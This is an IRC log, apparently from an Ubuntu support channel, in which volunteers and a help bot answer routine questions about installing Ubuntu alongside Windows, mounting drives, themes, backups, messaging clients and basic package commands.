[08:43] <Seveas> Webby`, what did you do before this happened
[08:43] <Seveas> BurgerMann, read its manpage :)
[08:43] <kemik> LasseL:  ty
[08:44] <BurgerMann> Seveas, sure =).. thx
[08:44] <mitzkrieg> help please, Totem will not work. when trying to start it up, i get an error "totem could not startup. Resource busy or not available".... any ideas?
[08:44] <Webby`> Seveas: I just shut it down and left it like that over night
[08:44] <Seveas> Webby`, paste the complete error and the last 50-pdd lines of xorg.0.log on the pastebin
[08:44] <mumbles> are the backports working for people?
[08:44] <BurgerMann> Seveas, ohh that's SWEET!
[08:45] <Webby`> ok
[08:45] <topyli> no matter how i try firefox, it's just not very good
[08:46] <Skaja> can i use dial up on ubuntu
[08:46] <topyli> sure
[08:46] <NoUse> !dialup
[08:46] <ubotu> dialup is, like, totally, https://wiki.ubuntu.com//DialupModemHowto
[08:46] <Skaja> yep
[08:47] <kemik> LasseL:  uh, tried "ln -s /path/to/place linkname" but doestn show any "fastlinks" (i did them in /media)
[08:47] <Skaja> does it work on the live cd
[08:48] <topyli> Skaja: oh, that might be different. dunno
[08:49] <LasseL> kemik, ok, actually it seems I was wrong, what works for me in samba mounts
[08:49] <IrIT> hi
[08:50] <IrIT> i just plugged a usb storage device into my pc. But i have no idea of where it has been mountet?
[08:50] <topyli> should the epiphany dashboard integration work with beagle? doesn't seem like it does
[08:50] <Skaja> is there an app i can use on ubuntu
[08:50] <LasseL> kemik, but if you find out be sure to tell me :)
[08:50] <kemik> LasseL:  heh, will do =)
[08:50] <mumbles> im bing thick how do i find out what my ip address is under linux ?
[08:50] <NoUse> IrIT usually gets mounted to /media and in gnome should show up on your desktop
[08:50] <IrIT> i'm using fluxbox
[08:51] <NoUse> IrIT well look in /media
[08:51] <IrIT> but isn't there a way that i can check where it has get mountet.
[08:51] <IrIT> it's not in /media
[08:52] <NoUse> IrIT I think in gnome, automounting is done by gnome, you'll have to do it by hand
[08:52] <tommi^> Hi. I have cd writer and I want to make backups of my home directory. It's currenty 16 gigabytes and maybe half of those need to be backup'd. Maybe two gigabytes of those are important, which should be backup more often. How should I do this? Do I start making tar packages which are sized 700 megabytes? Would then need to copy all tar packages to hd if I wanted a single file from that tar package serie? Is there a nice gui program that w
[08:52] <tommi^> ould allow to do me incremental backups? Thanks
[08:52] <mitzkrieg> need a little help, Totem will not work. when trying to start it up, i get an error "totem could not startup. Resource busy or not available"
[08:52] <Skaja> does ubuntu use kde
[08:52] <NoUse> Skaja it can
[08:52] <mumbles> wooo.
[08:52] <NoUse> Skaja but not by default
[08:52] <mumbles> ssh into my server
[08:52] <mumbles> yay
[08:53] <chrismy> hi all
[08:53] <tommi^> Or should I just buy an external hd?
[08:53] <Skaja> ok how do i set it up with kde now i'm talking about the install cd
[08:53] <LasseL> tommi^, or backup to another computer on your network
[08:54] <topyli> or any network :)
[08:54] <LasseL> gmailfs ?
[08:54] <topyli> that's 2,5G these days
[08:55] <NoUse> Skaja if you download the kubuntu install cd it will do it at installation, otherwise apt-get install kubuntu-desktop
[08:55] <topyli> tommi^: dar: http://dar.linux.free.fr/
[08:55] <tommi^> LaserLine, my upload bandwidth is too small for that.
[08:55] <tommi^> LasseL,
[08:55] <topyli> tommi^: there are also guis (at least one i know of) for dar
[08:56] <hunger> Is there a way to make powernowd boost the system a bit? When compiling the cpu-graph is at the max while cpu-freq stays at the lowest possible setting:-(
[08:57] <GregAsche> how do I stop the warning I get whenever I open a .wmv file?
[08:57] <topyli> heh
[08:57] <topyli> GregAsche: depends on the warning
[08:57] <tommi^> Well, on a second thought, I might just go and buy that external hd. I was thinking about Lacie's external hd which one of my friend has. I think it hang my system was, has somebody had similar experiences?
[08:57] <Skaja> i have a new question when i boot into the live cd how do i view .txt files that are on windows
[08:58] <NoUse> Skaja I've never used the live cd, does it mount your hds?
[08:58] <topyli> tommi^: good choice (dunno about this specific disk, just generally). then you can easily use reoback for example
[08:58] <Skaja> i dont know
[08:59] <Skaja> i will just mess with it
[08:59] <neoliminal> what tool do I use to for tcpdump analysis?
[08:59] <GregAsche> topyli: http://paste.ubuntulinux.nl/1776
[08:59] <GregAsche> kinda long to paste in here
[08:59] <_need-help> now i can see why linux will never ever beat windows
[09:00] <neoliminal> because windows doesn't have IRC help?
[09:00] <_need-help> no , becouse linux doesn`t work
[09:00] <BlankB> cause linux has more trolls.
[09:00] <tommi^> topyli, they can do what?
[09:00] <NoUse> GregAsche the file is missnamed, rename it to .asf
[09:00] <topyli> GregAsche: is this totem?
[09:00] <NoUse> _need-help mine works fine, and windows doesn't work very well either
[09:00] <GregAsche> no, mplayer
[09:00] <topyli> GregAsche: rename, or just tell it to use mplayer
[09:01] <GregAsche> NoUse: every wmv file uses the asf codec
[09:01] <_need-help> well i can get linux , not a single version to work on my box
[09:01] <_need-help> hmm...
[09:01] <_need-help> but windows will work any
[09:01] <neoliminal> what hardware?
[09:01] <GregAsche> i don't want to rename every wmv file i have
[09:01] <_need-help> OS: Windows 2003 Standard Edition Terminal Server 5.2 Service Pack 1 (Build #3790) CPU: Intel Pentium 4 , 3.01 GHz Video: Plug and Play Monitor on ATi Radeon X600 Series (800x600x32bpp 60Hz) Sound: ESS 1969 Memory: Used: 494/2048MB Uptime: 5m 27s HD: [C:]  31.65/48.83 GB [E:]  20.98/58.59 GB Connection: @ 0 bps (Rec: 0.00MB Sent: 25.31MB)
[09:01] <_need-help> this hardware
[09:01] <GregAsche> topyli: i have it set to use mplayer by default
[09:02] <neoliminal> You have a CD player on that?
[09:02] <GregAsche> there has to be a way to disable that warning
[09:02] <topyli> tommi^: this is what i use to back up every night on a hard drive: http://reoback.sourceforge.net/
[09:02] <NoUse> _need-help btw, Linux is already beating windows in the enterprise, just not on the desktop
[09:02] <_need-help> yeah sure
[09:02] <topyli> GregAsche: might be, in gconf-editor
[09:02] <_need-help> perhapr only becouse it is free
[09:02] <NoUse> _need-help yeah I heard amazon.com and IBM are really short on cash
[09:03] <neoliminal> _need-help: where does the problem start?
[09:03] <topyli> NoUse: it does beat windows on the desktop. windows is horrible to use compared to linux desktops :)
[09:03] <neoliminal> Anyone know what Ubuntu tool to use for tcpdump analysis?
[09:03] <_need-help> easy ... i`ve been trying for a loong time to make linux work on this box
[09:03] <_need-help> windows will work on any...
[09:03] <NoUse> topyli I'm just talking about usage
[09:03] <mitzkrieg> need a little help, Totem will not work. when trying to start it up, i get an error "totem could not startup. Resource busy or not available"
[09:03] <topyli> NoUse: so am i
[09:03] <tommi^> topyli, looks good. I'm drooling over Lacie's d2 300gb.. :)
[09:04] <topyli> heh
[09:04] <neoliminal> _need-help:  most vendors test their machines to make sure they work with windows... so obviously they all tend to work with windows.
[09:04] <topyli> tommi^: damn you. you got me interested as well :)
[09:04] <arnehansen>  Hello everyone, i just installed ubuntu on my box, the installer said that it had detected my installation of windows xp, and notified me that it should be safe to install grub. However, when i try to boot my system, it just hangs on GRUB, and i do not get any error messages, i'm thankful for any help
[09:04] <_need-help> yeah sure
[09:04] <_need-help> u all say this
[09:04] <_need-help> but none can beat windows
[09:04] <_need-help> or freebsd :D)
[09:04] <NoUse> _need-help if you want help, we can help, but we don't want to hear you bitch
[09:05] <neoliminal> -need-help:  so you're just a troll?
[09:05] <mitzkrieg> curious, do i have voice in here?
[09:05] <Juhaz> it's obviously a troll, don't feed it
[09:05] <topyli> mitzkrieg: everyone does
[09:05] <_need-help> funny , u never get real arguments against windoze
[09:05] <mitzkrieg> ok, thought so
[09:05] <_need-help> b bye
[09:05] <mitzkrieg> suppose everyones too busy then, heh
[09:05] <neoliminal> I have a tcpdump I need to analysis of ... how do I look at it?
[09:06] <neoliminal> is there a tool for looking at it?
[09:06] <Gnonthgol> arnehansen: can you get into your computer anyway?
[09:06] <vortec> hi, how can i install java under ubuntu?
[09:06] <kemik> !java
[09:06] <Gnonthgol> !java
[09:06] <ubotu> I guess java is to install Java please see https://wiki.ubuntu.com/Java
[09:06] <kemik> ;)
[09:06] <andy87> hi, i've just installed ubuntu , but i've installed base system(just konsole no  X gnome), can i install it using apt-get with ubuntu cd,  i don't know wath is package name or what shoud i install
[09:06] <andy87> first
[09:07] <Gnonthgol> (21:06:25) ubotu: Someone already said that 0 seconds ago
[09:07] <Seveas> you should install the ubuntu-desktop package
[09:07] <kemik> how do i add "shortcuts" in nautlius? (like the "Home Folder" and "File System" in the left-pane treeview)
[09:07] <kemik> Seveas:  and ideas about those shortcuts?
[09:07] <linukso> kemik: drag n' drop
[09:07] <kemik> linukso:  where to ?
[09:07] <Bateau_> what is a good BlueTooth program? for filesharing and stuff
[09:08] <FinalFan> is there a boot disk for Ubuntu 5.04?
[09:09] <FinalFan> cause i just received mine, but the PC i'm trying to install it in can't boot from a cd
[09:09] <Gnonthgol> kemik: try to create a launcher
[09:09] <tommi^> topyli, Hahhah.. It would be so cool. Never have to worry about making backups and still have some extra space. Those new lacie d2's also have tree connections: fw400/800 and usb 2.0. They're only missing gigabyte ethernet, that would be sweeeet..
[09:09] <linukso> kemik: hmm, maybe I misunderstood. The open document dialog can add shortcuts, but I am not shure 'bout nautilus. :(
[09:09] <andy87> thx for help @Seveas
[09:10] <kemik> linukso:  well it's not jsut a simple "shortcut" as a link.. i dunno what to call it tho ;)
[09:10] <linukso> Bateau_: you can use obexftp and gnome-bluetooth
[09:10] <MrNight> hello, why I cann't connect to the MSN using the Gaim messenger ?
[09:10] <NoUse> FinalFan try this https://wiki.ubuntu.com/SmartBootManagerHowto
[09:10] <FinalFan> tnx NoUs
[09:10] <topyli> tommi^: just looking at their site. their stuff is modern, which my box is not. i think i'll buy a couple of good old hard drives to replace these :9
[09:11] <NoUse> ubotu smartboot is https://wiki.ubuntu.com/SmartBootManagerHowto
[09:11] <ubotu> okay, NoUse
[09:11] <Bateau_> linukso:  hmm, there is no other programs? that are easyer to use?
[09:11] <MrNight> and no yahoo buddies in my Gaim too
[09:11] <linukso> gnome-bluetooth is very easy
[09:11] <topyli> MrNight: gaim works, your problems are elsewhere
[09:12] <Bateau_> linukso: well, it didnt work.
[09:12] <topyli> MrNight: (i have msn, yahoo, aim buddies)
[09:12] <goo-goo> this is my first time with ubuntu.
[09:12] <tommi^> topyli, well regular hard drives do the trick too but I would kinda preferer external in this case. Besides, it's sometimes to take it along to your friend for copying some files.
[09:12] <batoms> my "window" key still doesn't work
[09:12] <goo-goo> i try startx and it complain about invalid fontpaht's
[09:12] <goo-goo> with xorgcfg too
[09:12] <goo-goo> anyone can help me?
[09:12] <goo-goo> i put in xorg.conf all font dirs in /etc/X11/fonts/
[09:13] <goo-goo> like FontPath "bla bla bla"
[09:13] <MrNight> topyli,  I did connect to the yahoo, and nothing in the buddies list, even I have many, and I tried to connect to the msn, but it failed
[09:13] <topyli> tommi^: true. also, you're talking about lots of data. i only backup my own work: nightly incrementals and weekly full backups, which i burn to cdrws and take to the other side of town :)
[09:14] <nelsongs> how do i install new themes in ubuntu?
[09:14] <topyli> MrNight: pehaps your yahoo buddes were offline? gaim has an option whether to show offline buddies or not
[09:14] <topyli> MrNight: msn fails every now and then anyway
[09:15] <ounas> Looking for a good video editor for xvid.avi football higlights. Any tips?
[09:15] <batoms> is the "window" key still broken in breezy or is it just me?
[09:16] <MrNight> I found it lol, show offline buddies ..
[09:16] <MrNight> so I dont have any onlines ?:|
[09:16] <MrNight> anyway I still have the problem in the msn thingie
[09:16] <topyli> tommi^: regular hard drives are no backup really if you don't transfer the data out of the house once in a while. if your machine burns because of an electric failure, all drives may burn. what if your house burns?
[09:19] <frank23> hi
[09:20] <frank23> Where can I download a colony install cd for breezy? I want to try it out on a spare partition
[09:20] <ivoks> lol
[09:20] <ivoks> http://s7.imagehosting.us/uploadpoint/imagehosting_upload_storage/nouser_603/T0_-1_603478.jpg
[09:21] <ivoks> good one :)
[09:21] <topyli> MrNight: your buddies have failed you, not gaim :)
[09:22] <frank23> ivoks: I don't understand the words but I see the point. hehe
[09:22] <topyli> MrNight: i just started gaim, connected ok to msn, yahoo, and aim
[09:23] <ivoks> frank23: :)
[09:23] <MrNight> topyli,  why in here there is a problem in connecting to msn ?:(
[09:23] <MrNight> I'll type my id as blabla@hotmail.com
[09:23] <MrNight> ?
[09:23] <topyli> MrNight: no idea. where are you?
[09:24] <MrNight> Lebanon! on mircosux it works lol
[09:24] <mumbles> yay server works
[09:24] <MrNight> micro*
[09:24] <mumbles> locally as well as www
[09:24] <topyli> MrNight: what version of gaim?
[09:24] <MrNight> 1.1.4
[09:25] <topyli> MrNight: 1.4.0 here, might be that gaim has reacted to some changes that MS have maybe made to the protocol again
[09:25] <frank23> v
[09:25] <nelsongs> how do i install new themes in ubuntu? anyone?
[09:26] <frank23> Where can I download a colony install cd for breezy? I want to try it out on a spare partition
[09:26] <linukso> nelsongs: download it, open the theme preference dialog and drag it into the windows
[09:26] <topyli> frank23: http://cdimage.ubuntu.com/releases/breezy/colony-3/
[09:26] <frank23> topyli: thanks!
[09:27] <nelsongs> what format should it be?
[09:27] <nelsongs> coz it says there that it should be .tar.gz, but when i tried to add a theme with the format said, it says invalid format
[09:28] <topyli> nelsongs: they are tar.gz packages, yes
[09:28] <thoreauputic> nelsongs: failing that, put it in your home dir in  .themes
[09:29] <linukso> nelsongs: where do you get your themes from?
[09:29] <topyli> nelsongs: adding to thoreauputic's advice, _extract_ the package to .themes in your home directory
[09:29] <nelsongs> linukso:  i got it from gnome-look.org
[09:29] <thoreauputic> topyli: correct
[09:29] <thoreauputic> :0
[09:30] <topyli> nelsongs: they should work
[09:30] <linukso> nelsongs: drag'n'drop into gnome themes usally works ...
[09:30] <thoreauputic> nelsongs: topyli is right - if you put it there extract it
[09:30] <nelsongs> nelsongs:  coz i'm trying to download the mac os themes
[09:31] <thoreauputic> nelsongs: are you getting gnome themes ?
[09:31] <topyli> nelsongs: which theme? i could try and see
[09:31] <nelsongs> what format should i download?  hold on
[09:31] <linukso> nelsongs: you want metacity and gtk
[09:31] <nelsongs> any mac os theme
[09:32] <topyli> nelsongs: there are lots of mac imitations there
[09:32] <MrNight> topyli: any other software for using the msn ?
[09:32] <thoreauputic> nelsongs: is this from art.gnome.org or gnome-look.org  ?
[09:32] <topyli> MrNight: amsn
[09:32] <linukso> nelsongs: ?? you cant use a macOS theme!
[09:32] <nelsongs> topyli:  what should i use?  gtk or metacity?
[09:32] <topyli> both
[09:33] <linukso> nelsongs: metacity is the window borders, gtk is the buttons etc...
[09:33] <thoreauputic> !tell nelsongs about themes
[09:35] <Zugot> how do i query dpkg to tell me what package owns a file
[09:36] <pcharky> Hello, I'm searching for an sqlite -like ldap implementation? Does anybody know if this exists?
[09:36] <linukso> Zugot: man dpkg-query will tell you...
[09:36] <thoreauputic> Zugot: if the file exists (the package is installed) do  dpkg -S <file>
[09:37] <topyli> nelsongs: just get gperfection and forget mac: http://siltala.net/comp/Hoary-desktop.jpg
[09:37] <Zugot> yeah... i figured dpkg -S
[09:37] <Zugot> i'm trying to figure out what installed /usr/bin/java
[09:37] <topyli> nelsongs: :)
[09:37] <Zugot> oh..
[09:37] <linukso> topyli: what mail-notification applet are you using?
[09:37] <Zugot> nevermind... i just figured it out... i'm still getting used to ubuntu...
[09:38] <topyli> linukso: mail-notification :)
[09:38] <Xanthus7> Hello
[09:38] <linukso> topyli: which version?
[09:38] <topyli> 1.1
[09:38] <ElBarono> god damn this network is getting more unstable than efnet
[09:38] <linukso> topyli: have tried it in the past, but it couldn't connect to my imaps server (courier)
[09:39] <robotgeek> ElBarono: spambot trouble?
[09:39] <thoreauputic> ElBarono: what's the trouble?
[09:39] <Xanthus7> what is the command in apt-get to update the kernel headers
[09:39] <topyli> linukso: it does have imap problems. works well with /var/mail/topyli though :)
[09:39] <robotgeek> apt-get install linux-headers-`uname -r`
[09:39] <thoreauputic> Xanthus7: sudo apt-get install linux-headers-$(uname -r)
[09:39] <Xanthus7> ok ty
[09:40] <linukso> topyli: hmm, sad, cause imap is the only option for me... Which it could just work with evolution, that would solve it.
[09:40] <topyli> linukso: mainly, when i use it at work to check my home server, it forgets that i have already checked the mail
[09:40] <thoreauputic> robotgeek: heh - $(uname -r) is less likely to confuse
[09:40] <robotgeek> thoreauputic: true, but i said the first thing which came to my head. also, i typed it like 15 minutes earlier :)
[09:40] <topyli> linukso: evolution-data-server seriously needs a notification thingy for the notification area
[09:41] <linukso> topyli: Indeed ! :)
[09:41] <thoreauputic> robotgeek: sometimes people mix backticks with apostrophes - but yours is quite correct of course :)
[09:41] <robotgeek> :)
[09:42] <topyli> linukso: perhaps gnubiff would be more helpful for you
[09:42] <linukso> topyli: hmm, will check it out, thanks 1
[09:43] <gusto5> i need help with my USB drive, ive plugged it in
[09:43] <linukso> gusto5: nothing happend?
[09:44] <gusto5> nothing im aware of
[09:44] <linukso> gusto5: ok, check out if it is detected by the kernel by running dmesg in a terminal.
[09:45] <gusto5> what am i looking for, alot of stuff just loaded up
[09:45] <gusto5> ok...i see my USB-DRIVE
[09:46] <gusto5> usb-storage: device found at 2
[09:46] <dreamie> hello
[09:46] <linukso> gusto5: it should be at the bottom, if you just plugged it in.
[09:46] <kamikazesponge> what exactly does iptables -A FORWARD -i tun0 -s 10.8.2.0/24 -d 10.66.4.12 -j ACCEPT do?
[09:46] <linukso> gusto5: now check if a folder named "usbdrive" exist in /media
[09:47] <gusto5> linukso, no, there is no file named usbdrive
[09:47] <dreamie> is it normal for irc and amsn to disconnect when you are away from computer for too long?
[09:47] <Gnonthgol> kamikazesponge: It opens your computer as a NAT of some sort
[09:47] <poningru> guess how much ubuntu converts we had today
[09:47] <poningru> 3
[09:47] <poningru> well yesterday and today combined
[09:47] <poningru> http://www.alligator.org/pt2/050830software.php
[09:47] <poningru> uf.freeculture.org
[09:48] <v1ru5> hi, i am having problems with my logitech optical mouse. it prevents gnome from launching up 100%
[09:48] <linukso> gusto5: paste the output from dmesg in pastebin.com (only the last few lines regarding your drive.)
[09:48] <v1ru5> how can i fix it?
[09:48] <kamikazesponge> Gnonthgol: but does it mean what i think that all ip's from 10.8.2.0-255 are forwarded to 10.66.2.12 or something?
[09:48] <tristanmike> Can someone tell me why in "Device Manager" pretty much everything is Unknown?
[09:49] <Gnonthgol> kamikazesponge: something like that yes
[09:49] <robotgeek> poningru: does the mean it will get really busy in here? :)
[09:49] <poningru> rofl
[09:49] <poningru> hopefully not
[09:49] <robotgeek> i hope too
[09:49] <WolfPac_Ite> Hi.
[09:49] <kamikazesponge> Gnonthgol: that's not too convenient.. does 10.8.2.* still see the linux box i did that on?
[09:49] <poningru> actually maybe it will the local lug is doing an install fest aswell and we are gonna go crazy
[09:49] <WildFire`> hey
[09:50] <cyphase> Linux Powered Robot - http://news.com.com/2061-10801_3-5845067.html?part=rss&tag=5845067&subj=news
[09:50] <WildFire`> just got my unbutu cd's today
[09:50] <moffa> can someone help me with mounting?
[09:50] <robotgeek> poningru: people from my college back home are having an install fest too, with ubuntu..soon!
[09:50] <WildFire`> er
[09:50] <WildFire`> the free live cd cd
[09:50] <WildFire`> does it come with kde installed?
[09:50] <kamikazesponge> WildFire`: no
[09:50] <thoreauputic> WildFire`: no
[09:50] <robotgeek> WildFire`: no
[09:50] <WildFire`> er
[09:50] <robotgeek> :)
[09:50] <WildFire`> its just the console?
[09:50] <WildFire`> ive never dealt with linux...
[09:50] <dreamie> poningru, how do you know how many people converted?
[09:50] <thoreauputic> WildFire`: no, it's gnome
[09:50] <kamikazesponge> WildFire`: ubuntu is only Gnome, if you want kde you want kubuntu
[09:50] <WildFire`> ah
[09:50] <punkass> is there anyway to use gedit with GnomeVFS in write mode...its always in readonly
[09:50] <WolfPac_Ite> I have a cheap Compaq I want to put Ubuntu on, but it doesn't have a connector for slave on the primary IDE channel.
[09:51] <WildFire`> gnome is like kde?
[09:51] <Gnonthgol> kamikazesponge: no, it thinks it is 10.66.2.12
[09:51] <bimberi> WildFire`: there is kubuntu livecd with kde
[09:51] <kamikazesponge> WildFire`: gnome is something like kde but i think it's better
[09:51] <thoreauputic> WildFire`: similar - different look, different tools
[09:51] <WildFire`> ah
[09:51] <WildFire`> well
[09:51] <WolfPac_Ite> So, is it OK to put an extra HDD on the secondary IDE channel and load Ubuntu on that instead?
[09:51] <WildFire`> in 1 hour 10 mins ill try live cd
[09:51] <WildFire`> then gotta throw hdd in
[09:51] <WolfPac_Ite> Or does it need to be on the first?
[09:52] <WildFire`> er
[09:52] <WildFire`> actually
[09:52] <WildFire`> i have xp on a 200 ata serial drive
[09:52] <robotgeek> poningru: hey, free t-shirts!
[09:52] <v1ru5> EEK I NEED HELP!!! Something prevents from Gnome launching up! How can i know what it is?? (i have a feeling in the ass that it is the mouse as it had problems with it from the start and now the mouse isn't active)
[09:52] <WildFire`> how do i get it on a 40 gb?
[09:52] <anachronism> Wolfpac, does your Mobo-Bios support a boot menu?
[09:52] <thoreauputic> WolfPac_Ite: it should work fine
[09:52] <WildFire`> set it as secondary master?
[09:52] <disasm> hey everyone, i have a simple iptables firewall script that runs at boot fine. The problem is when I lose my external ip (going to cable modem), which rarely happens, I have to manually restart my firewall to fix things. Is there a way I can have the firewall script run every time dhcp renews?
[09:52] <kamikazesponge> Gnonthgol: :S, that is weird, it's in a FAQ about setting up a vpn and making them only able to use one IP.. but then how are they able to see the vpn-server?
[09:52] <WildFire`> set it as secondary master?
[09:52] <kamikazesponge> Gnonthgol: never mind, i'm half asleep..
[09:52] <WildFire`> how would i install ubuntu on a diff hdd?
[09:53] <WildFire`> just set as secondary master?
[09:53] <bimberi> WildFire`: that would be fine
[09:53] <WildFire`> mm
[09:53] <robotgeek> v1ru5: remove the mouse and start booting?
[09:53] <WildFire`> will ubuntu format it?
[09:53] <WildFire`> and partition it?
[09:53] <kamikazesponge> WildFire`: what hd do you want to install it on?
[09:53] <bimberi> WildFire`: or primary slave, or secondary slave...
[09:53] <kamikazesponge> WildFire`: yes
[09:53] <WolfPac_Ite> Sorry for the wait, I had to find the responses through the messages.
[09:53] <WildFire`> well
[09:53] <WildFire`> secondary master
[09:53] <WildFire`> most likely
[09:53] <WildFire`> i can tell it what hdd?
[09:53] <kamikazesponge> WildFire`: think that's hdc
[09:53] <v1ru5> robotgeek: ok i will try that
[09:54] <WildFire`> kamik
[09:54] <WildFire`> hdc?
[09:54] <bimberi> WildFire`: yes, you can tell it which hdd during the install (choose carefully :) )
[09:54] <WolfPac_Ite> Yes, if I recall it can be set to boot from [insert device] .
[09:54] <kamikazesponge> WildFire`: yes, that's the device-name
[09:54] <bipolar> is there a place where I can get an offical or semi-offical 2.6.13 kernel upgrade for hoary?
[09:54] <WildFire`> ah
[09:54] <WildFire`> so
[09:54] <dreamie> poningru is ignoring me
[09:54] <WolfPac_Ite> I forgot to mention I have an HDD with XP on it, so I need a dual boot setup.
[09:54] <WildFire`> if C: is my windows drive
[09:54] <WildFire`> same
[09:54] <kamikazesponge> WildFire`: in linux if you have 4 ide-devices they should be called hda, hdb, hdc and hdd
[09:54] <WildFire`> ah
[09:54] <WildFire`> also...
[09:54] <kamikazesponge> WildFire`: in linux you don't have drive-letters
[09:54] <thoreauputic> WildFire`: primary master /dev/hda
[09:54] <ssdd65> how can i uncompress a .rar in ubuntu?
[09:54] <WildFire`> ...
[09:54] <WildFire`> wait till a bit later
[09:55] <WildFire`> someone gonna have to walk me through this :P
[09:55] <bimberi> ssdd65: install unrar (or unrar-nonfree)
[09:55] <IcemanV9> ubuntu cannot mount ufs (freebsd to be exact) partition?!? is that bug? or is it needed to be update badly?
[09:55] <WildFire`> also
[09:55] <WildFire`> er
[09:55] <thoreauputic> WildFire`: secondary master /dev/hdc
[09:55] <kamikazesponge> WildFire`: and partitions are indicated with numbers.. if you have a disk on primary master with 2 partitions they will be called hda1 and hda2
[09:55] <WildFire`> so
[09:55] <WildFire`> if primary master is my xp
[09:55] <WildFire`> and secondary is my linux
[09:55] <WildFire`> what hdd do i tell it to install onto
[09:56] <disasm> WildFire`: hdb
[09:56] <kamikazesponge> WildFire`: i THINK it should be hdb
[09:56] <kemik> WildFire`:  do "fdisk -l" at a terminal
[09:56] <WildFire`> i think ima disconnect my xp one first :P
[09:56] <WildFire`>  to be safe
[09:56] <disasm> err wait, hdc if its secondary master
[09:56] <IcemanV9> sudo mount -t ufs -o ufstype=44bsd /dev/hda1 /mnt/fbsd
[09:56] <IcemanV9> mount: wrong fs type, bad option, bad superblock on /dev/hda1
[09:56] <thoreauputic> WildFire`: then the installer won't "see" it
[09:56] <WildFire`> ...
[09:56] <kamikazesponge> WildFire`:then you have the chance it may be called hda after.. but i'm not sure on that one
[09:56] <IcemanV9> what's wrong with this command?
[09:56] <ssdd65> is unrar in any of the repos in synaptic
[09:56] <WildFire`> hmm
[09:56] <disasm> WildFire`: prim master: hda pri slave: hdb sec master: hdc sec slave: hdd
[09:56] <kemik> WildFire`:  that's not erally good, will give you trouble installing a bootloader
[09:56] <WildFire`> well
[09:56] <apokryphos> ssdd65: multiverse
[09:56] <thoreauputic> !info rar
[09:56] <ubotu> rar: (Archiver for .rar files), section multiverse/utils, is optional. Version: 3.30-2 (hoary), Packaged size: 239 kB, Installed size: 488 kB
[09:57] <WildFire`> lets see
[09:57] <jintxo> IcemanV9, does ufs show up in /proc/filesystems? if not, you may noeed to modprobe the correct module
[09:57] <WildFire`> when i fdisk
[09:57] <ssdd65> thanks
[09:57] <WildFire`> can i check the size of the harddrive FIRST?
[09:57] <WildFire`> before fdisk
[09:57] <WildFire`> ?
[09:57] <bimberi> WildFire`: Are you happy with the amount of help you're getting? :)
[09:57] <WildFire`> yes
[09:57] <WildFire`> indeed
[09:57] <WildFire`> but
[09:57] <kamikazesponge> bimberi: lol, everyone jumped right at him :P
[09:57] <WildFire`> can i check size of each hdd before fdisk?
[09:57] <thoreauputic> WildFire`: please stop using the enter key as punctutation
[09:57] <WildFire`> so i know which one for sure
[09:57] <AristoMagnus> df
[09:57] <kamikazesponge> WildFire`: you can, with df, but that can be confusing
[09:57] <AristoMagnus> df -h
[09:57] <robotgeek> ssdd65: there's also unrar , unrar-nonfree for the latest rar files!
[09:58] <IcemanV9> jintxo: yes. i was looking for that file (filesystems), but in the wrong dir /etc.
[09:58] <WildFire`> df?
[09:58] <thoreauputic> *punctuation
[09:58] <dreamie> what is ufs?
[09:58] <kamikazesponge> WildFire`: that's a command
[09:58] <AristoMagnus> if your in a linux shell
[09:58] <disasm> WildFire`: when your in the ubuntu install, make sure you manage your partitions manually, if any of the partitions have a number with them (like xp will be hda1) it has an existing partition
[09:58] <apokryphos> thoreauputic: but then they can't increase exposure! :)
[09:58] <WildFire`> disarm
[09:58] <CarlFK> how can I tell if a usb port is usb1 or 2.0 ?
[09:58] <disasm> WildFire`: the partition manager will tell you the size of the drives and everything too
[09:58] <WildFire`> how do i access this partition manager, will it be in the installer?
[09:58] <jintxo> dreamie, a filesystem
[09:58] <disasm> WildFire`: disasm ;-)
[09:58] <robotgeek> dreamie: i suppose unix/unified fs
[09:59] <IcemanV9> looks like i won't be able to mount ufs partiation then. :(
[09:59] <dreamie> how can i found out about other ubuntu software?
[09:59] <disasm> WildFire`: making sense?
[09:59] <WildFire`> disasm: how will i access this partition manager?
[09:59] <robotgeek> dreamie: either via synaptic or packages.ubuntu.com
[09:59] <disasm> WildFire`: it will warn you before you overwrite the disk anyways
[09:59] <apokryphos> CarlFK: lspci, perhaps?
[09:59] <matthew_w> Hey guys.
[09:59] <disasm> WildFire`: its built into the ubuntu install
[09:59] <kamikazesponge> AristoMagnus: thanks for the -h hint, i always get confused when i df normally
[09:59] <WildFire`> ah
[09:59] <WildFire`> should be ok then
[09:59] <WildFire`> i hope
[09:59] <WildFire`> first i wanna try live cd tho.
[09:59] <matthew_w> How do I run gdmsetup?  When I try to it gives me "GTK - Warning Cannot open Display:"
[09:59] <WildFire`> how do i test the live cd?
[10:00] <disasm> WildFire`: plop it in your drive, and boot
[10:00] <disasm> WildFire`: thats it
[10:00] <apokryphos> WildFire`: please don't ignore other requests; there's no need to flood the channel by using the enter key as punctuation :)
[10:00] <IcemanV9> dreamie: ufs is the filesystem for *BSD
[10:00] <WolfPac_Ite> Thank you guys for the help.
[10:00] <WildFire`> sorry, anyway ill be testing the live cd :P
[10:00] <WolfPac_Ite> See ya later.
[10:00] <WildFire`> be back in a few
[10:00] <disasm> WildFire`: good luck
[10:00] <robotgeek> matthew_w: u need to run that in X
[10:00] <ssdd65> i assume unrar is a command prompt program?
[10:00] <apokryphos> ssdd65: yes
[10:00] <ssdd65> ok
[10:00] <ssdd65> thanks
[10:00] <WildFire`> thank you, talk to yall in a few.
[10:01] <CarlFK> apokryphos - "Intel Corp. 82371AB/EB/MB PIIX4 USB (rev 01)" - is rev01 mean usb 1?
[10:01] <poningru> huh what happend?
[10:01] <robotgeek> ssdd65: though, archive-manager shud be able to handle it
[10:01] <matthew_w> robotgeek; I am.
[10:01] <disasm> if you have unrar though i could be mistaken but doesnt it add that ability to the gui unpackagers i never use?
[10:01] <CarlFK> apokryphos - I have a usb2 pci card.  Ill drop that in and see what happens
[10:01] <ssdd65> ?
[10:01] <poningru> dreamie: oh sorry, yeah we counted how many people were converted.
[10:01] <apokryphos> CarlFK: hm, I'm not entirely sure.
[10:02] <matthew_w> Has anyone here used GDMsetup?
[10:02] <jintxo> CarlFK, I don't really know, but that looks like an old mobo, probably usb 1 or 1.1
[10:02] <robotgeek> matthew_w: did a sudo gdmsetup not work?
[10:02] <matthew_w> robotgeek; that's the error I get
[10:02] <apokryphos> CarlFK: normally though a usb 2 would just go at usb1 speed if the device can't handle 2
[10:02] <thoreauputic> general advice from the bot:
[10:02] <thoreauputic> !enter
[10:02] <ubotu> don't use the "enter" key as punctuation! It's annoying and spams the channel. Write in complete sentences and keep your replies and questions on one line if possible. Thanks!
